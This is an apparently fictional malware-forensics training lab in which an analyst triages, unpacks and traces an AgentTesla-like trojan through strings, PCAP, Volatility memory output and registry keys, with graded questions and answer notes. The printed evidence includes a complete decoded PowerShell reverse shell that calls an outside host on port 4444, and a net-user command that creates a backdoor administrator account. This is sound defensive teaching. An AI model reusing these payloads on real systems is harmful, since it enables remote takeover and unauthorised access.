SCORE 0 / 20 pts
🔴 LIVE LAB Malware Forensics — Operation: HOLLOW SHELL

⚠ Incident — Operation: HOLLOW SHELL

Malware Forensics
Hands-On Lab

You are an analyst at Nexum Financial Services. At 03:22 UTC on 14 Nov 2024, the EDR platform raised a high-severity alert on workstation WIN-FIN-07 (hostname: NEXUM-JD, user: jdawson, Finance department).

The machine is exhibiting high CPU usage, unexpected outbound connections, and a user complaint about a new shortcut on the desktop. You have been handed a memory dump (nexum_jd.raw), a disk image (nexum_jd.E01), a PCAP (capture_nov14.pcap), and the suspicious binary recovered by the EDR (winupd.exe). Work through each task in sequence. Don't skip ahead.

Alert ID : EDR-2024-44102
Severity : HIGH
Host : WIN-FIN-07 / NEXUM-JD (10.10.5.22)
User : jdawson (Finance)
Trigger : Anomalous outbound TCP — 185.220.101.47:4444 + high CPU
Evidence : winupd.exe, nexum_jd.raw, capture_nov14.pcap
Status : Host ISOLATED — awaiting forensic analysis
Difficulty:Intermediate
Est. time:2–3 hours
Tasks:6
Max score:20 pts

Lab Environment

Which Platform Should You Use?

REMnux is the right choice for this lab. It is a Linux distro built exclusively for malware analysis and reverse engineering — every tool used in this lab (Volatility 3, pefile, strings, tshark, upx, YARA) comes pre-installed. Kali Linux is built for offensive/penetration testing and lacks most of these tools by default. For the full IR workflow however, you ideally run three VMs together.

VM 1 — Primary ✓ Use for this lab
REMnux
Your analysis workstation. Run Volatility, strings, pefile, tshark, upx, and every other forensics tool here. Never execute malware on this VM.
Pre-installed tools:
Volatility 3
pefile / strings / upx
tshark / Wireshark
YARA / pecheck / DIE
FakeNet-NG / INetSim
remnux.org → free OVA → import to VirtualBox / VMware → ready in ~10 min
VM 2 — Sandbox
Windows 10 (Clean Snapshot)
Your detonation environment. Execute malware here, observe behavior with ProcMon, Regshot, and Process Hacker, then revert to snapshot. Isolated from real network — route traffic through INetSim on REMnux.
Install before use:
Sysinternals Suite (ProcMon, Autoruns)
Process Hacker
Regshot
FakeNet-NG (Windows build)
Wireshark
⚠ Take snapshot BEFORE installing tools. Revert after every detonation.
VM 3 — Optional
Kali Linux
Offensive/red team workstation. Use this to simulate attacker tooling, test detection rules, run penetration testing exercises, or practice both sides of an incident in the same lab environment.
Built for:
Penetration testing
Exploitation frameworks (Metasploit)
Network attacks / reconnaissance
Red team / CTF offensive tasks
Simulating attacker C2
Not needed for this lab — but essential for full IR simulation exercises.
Recommended VM Network Layout
[ REMnux ] ──────── Host-Only Network (192.168.56.0/24) ──────── [ Windows 10 Sandbox ] │ │ │ INetSim running on REMnux simulates internet (DNS, HTTP, HTTPS) │ │ Windows sandbox routes all traffic through REMnux — no real internet │ └──────────────────────────────────────────────────────────────────────┘ [ Kali ] ── separate NAT or Host-Only adapter ── used independently for offensive tasks Rule: NONE of the three VMs should share clipboard or folders with the host OS. Rule: Windows sandbox NEVER gets NAT/bridged internet — only the INetSim proxy.
Task 1

Triage the Suspicious Binary

Hash it, look it up, and identify what it's pretending to be

The EDR quarantined winupd.exe from C:\Users\jdawson\AppData\Local\Temp\winupd.exe. You've copied it to your REMnux workstation at /cases/hollow_shell/winupd.exe. Before you do anything else, you need to fingerprint it and check for prior knowledge.

Run the following commands on your REMnux VM (output shown below):

remnux@analyst ~/cases/hollow_shell
remnux@analyst:~/cases/hollow_shell$ sha256sum winupd.exe 4a8f2c7e91b3d05f6e4c2a1b9f7e3d8c2a5f1e9b3c7d0a4f6e2b8d1c5a3f9e7 winupd.exe remnux@analyst:~/cases/hollow_shell$ md5sum winupd.exe a3f2c19d4e5b8a71f6c2d9e0b7a4c3f1 winupd.exe remnux@analyst:~/cases/hollow_shell$ file winupd.exe winupd.exe: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed remnux@analyst:~/cases/hollow_shell$ ls -lah winupd.exe -rw-r--r-- 1 remnux remnux 284K Nov 14 02:47 winupd.exe

You submit the SHA256 to VirusTotal and get this response:

VirusTotal API response (abbreviated)
"malicious": 54, "suspicious": 3, "undetected": 9, "type-unsupported": 6, "threat_label": "trojan.agentTesla/generic", "first_submission_date": "2024-11-12T18:44:02Z", "times_submitted": 3, "names": ["winupd.exe", "WindowsUpdate.exe", "svchelper.exe"]

Question 1 · 1 pt
What is the malware family identified by VirusTotal?
Question 2 · 1 pt
The file command output shows the binary is UPX compressed. Why does this matter to a malware analyst?
UPX compression is only used by legitimate software installers
Packing hides the real code and strings from static analysis; the actual payload only appears in memory at runtime
A packed binary cannot run on Windows 10 without admin rights
Packed files are always encrypted and cannot be analyzed at all
Analyst Notes
What you should have noted:

The SHA256 4a8f2c7e...e7 is your evidence fingerprint — record it now and never alter the original file. The VirusTotal hit (54/72 engines) with label trojan.agentTesla/generic confirms this is a known commodity RAT (Remote Access Trojan) widely used for credential theft and C2.

UPX packing means the binary compresses itself at rest. When it runs, it decompresses into memory and executes from there. Static analysis of the packed binary gives you very little — most strings and imports are invisible until runtime. Your next move is to unpack it with upx -d winupd.exe before doing deeper static analysis, or proceed directly to dynamic/memory analysis which catches it post-decompression.

The name masquerade: winupd.exe impersonates a Windows Update binary. Legitimate Windows Update components live in C:\Windows\System32\ and C:\Windows\SoftwareDistribution\ — never in a user's Temp folder. This naming is a classic masquerading technique (MITRE T1036).
Task 2

Static Analysis — Unpack & Extract Strings

Unpack the binary, pull imports, and mine the strings for IOCs

You've confirmed it's UPX-packed. Unpack it first, then use pefile and strings to extract imports and embedded indicators. This is done without executing the file.
Unpack + imports + strings
remnux@analyst:~/cases/hollow_shell$ upx -d winupd.exe -o winupd_unpacked.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 581632 <- 284672 48.95% win32/pe winupd.exe Unpacked 1 file. remnux@analyst:~/cases/hollow_shell$ python3 -c " import pefile pe = pefile.PE('winupd_unpacked.exe') for entry in pe.DIRECTORY_ENTRY_IMPORT: print('[DLL]', entry.dll.decode()) for imp in entry.imports: if imp.name: print(' ', imp.name.decode()) " [DLL] KERNEL32.dll CreateProcessA VirtualAllocEx WriteProcessMemory CreateRemoteThread OpenProcess [DLL] WS2_32.dll socket connect send recv WSAStartup [DLL] WININET.dll InternetOpenA HttpSendRequestA InternetOpenUrlA remnux@analyst:~/cases/hollow_shell$ strings -n 6 winupd_unpacked.exe | grep -E "http|[0-9]{1,3}\.[0-9]{1,3}|HKEY|Run|cmd|power|pass|user" http://185.220.101.47/update/gate.php 185.220.101.47 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinUpdateSvc %APPDATA%\Microsoft\Windows\winupd.exe cmd.exe /c net user helpdesk Tr0ub4dor&3 /add && net localgroup administrators helpdesk /add powershell -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIAB Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/x-www-form-urlencoded gate.php NtUnmapViewOfSection This program cannot be run in DOS mode

Question 3 · 1 pt
Three imported functions from KERNEL32.dll together indicate process injection. Name all three (separate with commas).
Question 4 · 1 pt
What username does the malware attempt to add as a local administrator?
Question 5 · 1 pt
The string %APPDATA%\Microsoft\Windows\winupd.exe tells you the malware copies itself to a persistence location. What Windows persistence mechanism is this path associated with?
DLL Sideloading
WMI Event Subscription
Registry Run key — copying to AppData and registering via HKCU Run
Scheduled Task via schtasks.exe
Analyst Notes
Process injection triad: VirtualAllocEx allocates memory in another process, WriteProcessMemory writes shellcode into that memory, and CreateRemoteThread executes it. Together, these three are the textbook API sequence for classic DLL/shellcode injection (T1055.002).

What the cmd string does: net user helpdesk Tr0ub4dor&3 /add creates a local account called "helpdesk" with password "Tr0ub4dor&3", then net localgroup administrators helpdesk /add elevates it to admin. The attacker now has a backdoor account that survives malware removal if the eradication step misses it.

IOCs to record: C2 IP 185.220.101.47, URL http://185.220.101.47/update/gate.php, Run key value WinUpdateSvc, copy path %APPDATA%\Microsoft\Windows\winupd.exe, rogue account helpdesk / password Tr0ub4dor&3.
Task 3

Network Traffic Analysis — PCAP Review

Examine the captured packets to confirm C2 activity and decode the beacon

The SOC captured network traffic from WIN-FIN-07 between 02:47–03:40 UTC. The file is capture_nov14.pcap. You'll use tshark on REMnux to analyze it without opening Wireshark.
tshark — PCAP analysis
remnux@analyst:~/cases/hollow_shell$ tshark -r capture_nov14.pcap -q -z conv,tcp ================================================================================ TCP Conversations ================================================================================ | <- | | -> | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 10.10.5.22:49820 <-> 185.220.101.47:80 | 142 18342 | | 219 84021 | | 361 102363 | 0.000000000 | 3243.5025 | 10.10.5.22:49821 <-> 185.220.101.47:443 | 214 27441 | | 305 91244 | | 519 118685 | 0.001243000 | 3241.9827 | 10.10.5.22:49828 <-> 185.220.101.47:4444 | 8 440 | | 6 312 | | 14 752 | 122.3871000 | 12.0412 | 10.10.5.22:51002 <-> 10.10.5.1:53 | 38 3120 | | 38 3944 | | 76 7064 | 0.000000000 | 3240.1001 | remnux@analyst:~/cases/hollow_shell$ tshark -r capture_nov14.pcap -Y "ip.dst==185.220.101.47 && http" -T fields -e http.request.method -e http.request.uri -e http.user_agent POST /update/gate.php Mozilla/5.0 (Windows NT 10.0; Win64; x64) POST /update/gate.php Mozilla/5.0 (Windows NT 10.0; Win64; x64) POST /update/gate.php Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... (repeated every ~30 seconds for 53 minutes) remnux@analyst:~/cases/hollow_shell$ tshark -r capture_nov14.pcap -Y "ip.dst==185.220.101.47 && http" -T fields -e http.file_data | head -3 id=NEXUM-JD&os=Windows+10+Pro+x64&user=jdawson&domain=NEXUM&av=Windows+Defender&version=1.4.2 id=NEXUM-JD&os=Windows+10+Pro+x64&user=jdawson&domain=NEXUM&av=Windows+Defender&version=1.4.2 remnux@analyst:~/cases/hollow_shell$ tshark -r capture_nov14.pcap -Y "tcp.port==4444" -T fields -e frame.time_relative -e ip.src -e tcp.len 122.387100 10.10.5.22 312 122.401200 185.220.101.47 148 # server responds — shell established 128.551000 185.220.101.47 64 # command sent from attacker 128.602100 10.10.5.22 2048 # large response — command output returned 134.223000 185.220.101.47 64 134.290000 10.10.5.22 1024 ...

Question 6 · 1 pt
Looking at the beacon POST data, what four pieces of host information is the malware sending to the C2 server? (list them)
Question 7 · 1 pt
The port 4444 connection shows the server sending data first after the shell is established, followed by large responses from the victim. What does this traffic pattern confirm?
The malware is downloading a second-stage payload from the C2
The attacker is issuing interactive commands and receiving output — an active reverse shell session
The victim machine is exfiltrating files to the C2
This is a DNS tunneling channel using port 4444
Question 8 · 1 pt
How frequently does the malware beacon to /update/gate.php? Why is consistent beacon interval significant to a defender?
Analyst Notes
The beacon: Every ~30 seconds, the malware POSTs to /update/gate.php with the victim's hostname, OS version, username, domain name, AV product, and malware version. This is a classic AgentTesla check-in — it registers the victim in the attacker's panel and keeps the session alive.

Why beacon interval matters: A perfectly regular 30-second interval (zero jitter) is a strong detection signal. Human web browsing is irregular; malware beaconing is clockwork. A detection rule can fire on any process making HTTP POST requests to the same endpoint at a consistent sub-60-second interval. Sophisticated malware adds jitter (random variation) to evade this — AgentTesla's version here does not.

Port 4444: The server-sends-first pattern followed by large client responses is the signature of a reverse shell where the victim connects out, the attacker types commands (small packets), and the victim returns output (large packets). The short duration (12 seconds) suggests the attacker ran a few commands and terminated — check memory for what those commands were.
Task 4

Memory Forensics with Volatility 3

Analyze the RAM dump — find the malware process, injection, and what the attacker ran

Before isolation, the responder ran WinPmem and saved nexum_jd.raw (16 GB). You're working with the actual Volatility 3 output below. The memory image was taken at 03:38 UTC — two minutes before network isolation.
Volatility 3 — process tree
remnux@analyst:~/cases/hollow_shell$ python3 vol.py -f nexum_jd.raw windows.pstree PID PPID ImageFileName Offset Threads Handles CreateTime 4 0 System 0x800000 148 --- 2024-11-14 01:00:11 * 412 4 smss.exe 0x82a4000 2 --- 2024-11-14 01:00:11 ** 556 412 csrss.exe 0x93b0000 12 --- 2024-11-14 01:00:14 ** 608 412 wininit.exe 0x94c0000 1 --- 2024-11-14 01:00:14 *** 700 608 services.exe 0x97e8000 6 --- 2024-11-14 01:00:15 **** 840 700 svchost.exe 0x9bb0000 14 --- 2024-11-14 01:00:17 **** 1120 700 svchost.exe 0xa1c0000 8 --- 2024-11-14 01:00:19 **** 1688 700 svchost.exe 0xb240000 3 --- 2024-11-14 01:00:22 1444 1388 explorer.exe 0xc3a0000 52 --- 2024-11-14 01:03:44 * 3812 1444 chrome.exe 0xe2b0000 42 --- 2024-11-14 02:11:08 * 5512 1444 winupd.exe 0xf1c40000 5 --- 2024-11-14 02:47:31 ** 6120 5512 cmd.exe 0xf3880000 1 --- 2024-11-14 02:48:01 *** 6284 6120 net.exe 0xf4120000 0 --- 2024-11-14 02:48:01 *** 6291 6120 net.exe 0xf41f0000 0 --- 2024-11-14 02:48:02 ** 6440 5512 powershell.exe 0xf4880000 3 --- 2024-11-14 02:49:13 * 4102 1444 notepad.exe 0xe8c00000 1 --- 2024-11-14 03:01:22
Volatility 3 — cmdline + netscan + malfind
remnux@analyst:~/cases/hollow_shell$ python3 vol.py -f nexum_jd.raw windows.cmdline --pid 6120 6440 PID Process Args 6120 cmd.exe cmd.exe /c net user helpdesk Tr0ub4dor&3 /add && net localgroup administrators helpdesk /add 6440 powershell.exe powershell.exe -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA4ADUALgAyADIAMAAuADEAMAAx remnux@analyst:~/cases/hollow_shell$ python3 vol.py -f nexum_jd.raw windows.netscan Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner 0xf1d30000 TCPv4 10.10.5.22 49820 185.220.101.47 80 ESTABLISHED 5512 winupd.exe 0xf1d44000 TCPv4 10.10.5.22 49821 185.220.101.47 443 ESTABLISHED 5512 winupd.exe 0xf1d58000 TCPv4 10.10.5.22 49828 185.220.101.47 4444 CLOSE_WAIT 6440 powershell.exe 0xf2b10000 TCPv4 10.10.5.22 51002 10.10.5.1 53 ESTABLISHED 840 svchost.exe remnux@analyst:~/cases/hollow_shell$ python3 vol.py -f nexum_jd.raw windows.malfind --pid 5512 PID Process Start End Protection Disasm 5512 winupd.exe 0x00400000 0x00438000 PAGE_EXECUTE_READWRITE 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ.............. b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... 0x00400000 4d DEC EBP ; MZ header — injected PE found in RWX region

Question 9 · 1 pt
What is the PID of winupd.exe and what is its parent process?
Question 10 · 2 pts
The malfind output shows an MZ header in a PAGE_EXECUTE_READWRITE memory region. What does this specifically indicate, and why is PAGE_EXECUTE_READWRITE a red flag?
The process has a corrupted heap — normal in high-memory situations
A PE executable (another binary) was injected into the process's memory and is running from a region that is simultaneously writable and executable — the signature of process hollowing or shellcode injection
The binary is using hardware DEP (Data Execution Prevention) correctly
This is a normal Windows memory protection flag for GUI applications
Question 11 · 1 pt
Two net.exe processes (PIDs 6284 and 6291) were spawned by cmd.exe. Based on the cmdline output, what did the first net.exe do and what did the second one do?
Analyst Notes
Process tree story: explorer.exe (the user's desktop) spawned winupd.exe (PID 5512) — meaning jdawson ran or was tricked into running it directly (likely via a phishing attachment or social engineering). winupd.exe then spawned cmd.exe which ran two net.exe commands: (1) create local account "helpdesk", (2) add "helpdesk" to Administrators. It also spawned powershell.exe which opened the reverse shell.

Malfind — injected PE: The MZ header (the first two bytes of any Windows executable, 4D 5A = "MZ") found inside a PAGE_EXECUTE_READWRITE region means a complete second executable was written into winupd.exe's own memory and is running there. Legitimate code doesn't need memory that is simultaneously writable AND executable — that combination is the exact signature of shellcode staging and process hollowing (T1055).

Port 4444 CLOSE_WAIT: The powershell.exe connection to port 4444 shows CLOSE_WAIT — the attacker closed their end of the shell 2 minutes before memory acquisition. The shell session ran for ~12 seconds (per PCAP). Decode the PowerShell base64 to confirm what the reverse shell payload was.
Task 5

Persistence Analysis & Payload Decode

Confirm persistence mechanisms and decode the PowerShell payload

Eradication requires finding every persistence channel — if you miss one, the attacker is back within minutes. You'll also decode the base64 PowerShell to confirm exactly what the reverse shell payload does.
Registry persistence + base64 decode
remnux@analyst:~/cases/hollow_shell$ python3 vol.py -f nexum_jd.raw windows.registry.printkey --key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Last Write Time Hive Offset Type Key Data 2024-11-14 02:48:01 0x... REG_SZ WinUpdateSvc "C:\Users\jdawson\AppData\Roaming\Microsoft\Windows\winupd.exe" 2024-11-13 10:22:44 0x... REG_SZ OneDrive "C:\Program Files\Microsoft OneDrive\OneDrive.exe /background" remnux@analyst:~/cases/hollow_shell$ python3 vol.py -f nexum_jd.raw windows.cmdline | grep -i schtasks # no output remnux@analyst:~/cases/hollow_shell$ echo "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA4ADUALgAyADIAMAAuADEAMAAx" | base64 -d | iconv -f UTF-16LE -t UTF-8 $client = New-Object System.Net.Sockets.TCPClient("185.220.101.47",4444) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } remnux@analyst:~/cases/hollow_shell$ python3 vol.py -f nexum_jd.raw windows.registry.printkey --key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" --hive-offset HKLM Last Write Time Hive Offset Type Key Data 2024-11-14 02:48:03 0x... REG_SZ WindowsDefenderUpdate "C:\ProgramData\Microsoft\winupd.exe" # Second copy in HKLM — means malware ran with elevated privileges at some point

Question 12 · 1 pt
How many Run key persistence entries did the malware create, and in which hives?
One — HKCU only
Two — one in HKCU, one in HKLM (system-wide)
Three — HKCU, HKLM, and HKCR
One — HKLM only
Question 13 · 2 pts
After decoding the PowerShell payload, describe in plain English what it does — step by step. What does iex $data specifically do?
Question 14 · 1 pt
The HKLM Run key (system-wide) was written at 02:48:03 UTC. What does a successful write to HKLM tell you about the attacker's privilege level at that moment?
Analyst Notes
Two persistence chains, not one: HKCU points to %APPDATA%\Microsoft\Windows\winupd.exe (runs as jdawson on login). HKLM points to C:\ProgramData\Microsoft\winupd.exe (runs for any user who logs in). This means even after jdawson's account is remediated, another user login would re-execute the malware — eradication must remove both.

PowerShell payload decoded: It opens a TCP connection to 185.220.101.47:4444. The attacker types a command → it's received as bytes → iex $data (Invoke-Expression) executes the received string as PowerShell — this is a fully interactive reverse shell. The output is sent back. This is T1059.001 (PowerShell) + T1071.001 (C2 over TCP).

HKLM privilege: Writing to HKLM requires local Administrator rights. The sequence is: winupd.exe runs as jdawson (standard user) → cmd.exe runs net user helpdesk /add and net localgroup administrators helpdesk /add → the attacker now has a local admin account → uses that (or UAC bypass) to write the HKLM key. This confirms privilege escalation occurred within 2 minutes of infection.
Task 6

Complete Your Incident Report

Compile all findings into a structured analyst report — this is your deliverable

You've completed all five analysis tasks. Now compile your findings into a formal report. Fill in every field — this exercises the skill of translating raw technical analysis into a deliverable an IR manager, legal team, or threat intel team can act on.
Question 15 · 2 pts
Match each observed behavior to its MITRE ATT&CK technique ID. Enter the technique ID (e.g. T1059) for: "Malware copying itself to AppData and writing a Run key"
Question 16 · 2 pts
ATT&CK ID for: "winupd.exe named to impersonate a Windows Update binary"

📋 Incident Report — Operation: HOLLOW SHELL

Fill in your findings from all five tasks. When done, click Generate Report.

🎉 Lab Complete — Operation: HOLLOW SHELL

0 / 20

You've completed a full malware forensics investigation: triage → static analysis → network analysis → memory forensics → persistence hunting → incident report.


Export your notes (copy from each notepad) and your generated report as your lab deliverable. Review any questions you missed using the analyst walkthroughs.